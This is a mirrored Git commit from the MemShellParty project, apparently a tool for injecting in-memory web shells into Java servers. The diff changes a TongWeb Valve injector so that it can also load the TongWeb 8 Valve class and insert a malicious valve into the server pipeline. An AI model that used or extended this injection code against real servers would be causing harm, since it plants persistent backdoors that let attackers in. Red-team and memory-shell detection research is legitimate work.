mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 16:31:53 +08:00
fix: TongWeb8 Valve not work
This commit is contained in:
+9
-3
@@ -84,12 +84,18 @@ public class TongWebValveInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Class valveClass = null;
|
Class valveClass = null;
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tongweb7
|
// tongweb7
|
||||||
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.catalina.Valve");
|
valveClass = contextClassLoader.loadClass("com.tongweb.catalina.Valve");
|
||||||
} catch (ClassNotFoundException e) {
|
} catch (ClassNotFoundException e) {
|
||||||
// tongweb6
|
try {
|
||||||
valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve");
|
// tongweb6
|
||||||
|
valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve");
|
||||||
|
} catch (ClassNotFoundException e1) {
|
||||||
|
// tongweb8
|
||||||
|
valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
System.out.println("valve injected successfully");
|
System.out.println("valve injected successfully");
|
||||||
|
|||||||
Reference in New Issue
Block a user